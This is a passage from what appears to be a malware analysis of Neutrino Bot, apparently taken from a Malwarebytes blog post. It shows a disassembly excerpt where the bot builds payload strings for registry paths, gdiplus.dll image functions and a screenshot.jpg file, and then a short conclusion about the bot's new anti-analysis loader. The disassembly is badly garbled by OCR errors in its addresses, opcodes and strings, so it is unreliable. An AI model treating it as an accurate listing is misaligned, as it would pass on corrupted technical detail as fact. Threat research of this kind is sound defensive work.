HEZEY236| PUSH pay load. BASBCASE UNMICODE "#L~:]zHd™

BE3EY302| PUSH pavload. BB2EBEFES UHICODE "Sof twares~Y 10 IJUEE SGlnn~»""

BE3EYEE4d PUSH pavw load. BB3BCAIS ASCII ""Software~>Y1WiUUE D SR ~0F £~

BE3EY&E0) PUSH paw load. BBS3EBEFES UHICOOE "Sof twares~5 10 IUUEE SGmn "

HEZEYE0V| MOV EDI, pay load. BESECEER | UMICODE "gdiplus.dlLl™

BE3EYEF 1| PUSH pavload. BA3BCAS4 ASCII ""GdipCreateBitmapFromHEITHAR

HEZEYF22| PUSH pav load. BB3BCACS ASCII "GEdipSavelmageTaoFile™

HEZEYFFE| PUSH pavwload.BB3BCADC UHICODE ™images jpeg™

BE3BFEC1 | PUSH pay load.883BCEF 4 UHICODE *~~screenshot. jpa™

BEZE7ECE| PUSH pay load.B03ECL14 UHICODE ""1LiUUED Hen

BA3ZET?AL | PUSH pay load.BA3EC134 UHICODE ™..'"

HEZEYE4S| MOV EDI, pay load. BESEEBFES | UMICODE "Sof tware 41U UUL EEB g -~""

HEZEYBCE| PUSH pavload. BBSEBEFES UHICODE "Sof tware 51U iLUEE SGmn~.""

HE3EYEBE4| PUSH pavload. BB3BEFES UHICODE "Sof twares~~51UIUUEZ SEnn~""

BESBCI2| PUSH payload @B3BEFES | UNICODE "Softwaressy1UiUNZZHauu "
Conclusion

Neutrino Bot has been on the market for a few years. It is rich in features but its internal structure

was never impressive. This time also, the malware authors did not make any significant

improvements to the main bot’s structure. However, they added one more protection layer which is

very scrupulous in its task of fingerprinting the environment and not allowing_the bot to be

discovered.

Source: https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader
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